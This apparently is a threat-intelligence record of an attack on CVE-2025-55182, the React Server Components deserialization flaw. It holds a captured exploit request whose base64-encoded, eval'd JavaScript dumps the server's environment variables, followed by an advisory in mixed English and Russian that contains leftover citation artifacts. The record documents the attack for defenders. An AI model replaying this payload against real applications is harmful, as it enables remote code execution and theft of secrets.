CVE-2025-55182

2026-05-09

5.35.98.193

russia 

Meta 

React 

POST /signup HTTP/1.0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/█████████ Safari/537.36
Host: blog.██████
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9WQq6C1R6aMb
Content-Length: 1165
X-Forwarded-For: ███████████
Accept-Encoding: gzip
Next-Action: x
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Next-Url: /signup
Origin: https://blog.██████
Referer: https://blog.██████/signup
X-Ja3-Fingerprint: e69402f870ecf542b4f017b0ed32936a
X-Ja4-Fingerprint: t13d1312h2_f57a46bbacb6_e5728521abd4
X-Nextjs-Html-Request-Id: dnUOD5PsQe
X-Nextjs-Request-Id: Ken4JDAoJA
Connection: close

------WebKitFormBoundary9WQq6C1R6aMb
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"eval(Buffer.from('dmFyIGVudj10eXBlb2YgcHJvY2VzcyE9PSd1bmRlZmluZWQnP0pTT04uc3RyaW5naWZ5KHByb2Nlc3MuZW52KTone30nO3ZhciBiNjQ9QnVmZmVyLmZyb20oZW52KS50b1N0cmluZygnYmFzZTY0Jyk7dGhyb3cgT2JqZWN0LmFzc2lnbihuZXcgRXJyb3IoJ05FWFRfUkVESVJFQ1QnKSx7ZGlnZXN0OiAnTkVYVF9SRURJUkVDVDtwdXNoOy9sb2dpbj9hPScrYjY0Kyc7MzA3Oyd9KTs=','base64').toString())","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary9WQq6C1R6aMb
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary9WQq6C1R6aMb
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundary9WQq6C1R6aMb
Content-Disposition: form-data; name="fWwwXGPo"

dFH9bL3h/5ZlQUhtFMIrvnuVun6IrQp+x5/r7+OtKrCVv9S9NBj0BvE75oHEPSEnGy9cIPksmQdAxoLKvYRisHhHNqX9va8xJ/XkF+RYQoiEQgvKSd96uxdCPqQXQjwLmNnBQqZJfK8EIi25AAEzTkjurnne+PwLzfgpcJL0HXx3cbja97jLIXicOOIhJ0nCXChwkUphAAkrppS8lZneSLqyNDco0ltQ7TfXhO/jiD9rIhuovPbi1kv/BONBgkVg
------WebKitFormBoundary9WQq6C1R6aMb--

CVE-2025-55182 affects react-server-dom-webpack, react-server-dom-parcel and react-server-dom-turbopack versions 19.0.0, 19.1.0, 19.1.1 and 19.2.0. :contentReference
The root cause is unsafe deserialization in the RSC “Flight” protocol: when the server receives a specially crafted payload via HTTP request to a Server Function endpoint, the payload is deserialized without proper validation. This can lead to prototype-pollution, or injection of malicious objects, which allows execution of arbitrary JS code — effectively an RCE. 
The attack requires no authentication, has low complexity, and can be triggered via a single HTTP request. 
Because many popular frameworks (e.g. Next.js, React Router, Waku, Parcel/Vite RSC plugins, rwsdk) rely on the vulnerable packages, a large portion of web-apps are at risk.
The vulnerability was publicly disclosed on December 3, 2025, and patches released shortly after. 

Upgrade React-server-dom packages: Immediately update affected packages to patched versions (for example react-server-dom-webpack/par­cel/turbopack → 19.0.1, 19.1.2 или 19.2.1).
Audit dependencies: Проверьте, не включены ли в проект фреймворки или сборщики, использующие RSC (например Next.js, React Router, Waku, @parcel/rsc, @vitejs/plugin-rsc, rwsdk), и обновите их до безопасных версий. :contentReference
Disable or restrict RSC endpoints: Если возможно — временно отключите серверные функции React (Server Functions) или ограничьте доступ к ним через firewall / WAF / настройку сети. :contentReference
Runtime protection: Используйте WAF, EASM/ASM, мониторинг поведения, IDS/IPS, чтобы обнаруживать подозрительные запросы и пост-эксплуатационную активность. :contentReference
Code review / validation: Пересмотрите обработку входящих данных, избегайте десериализации непроверенных объектов, особенно если приложение принимает пользовательские payload’ы. (Может потребоваться дополнительная проверка/валидация deserialized data.)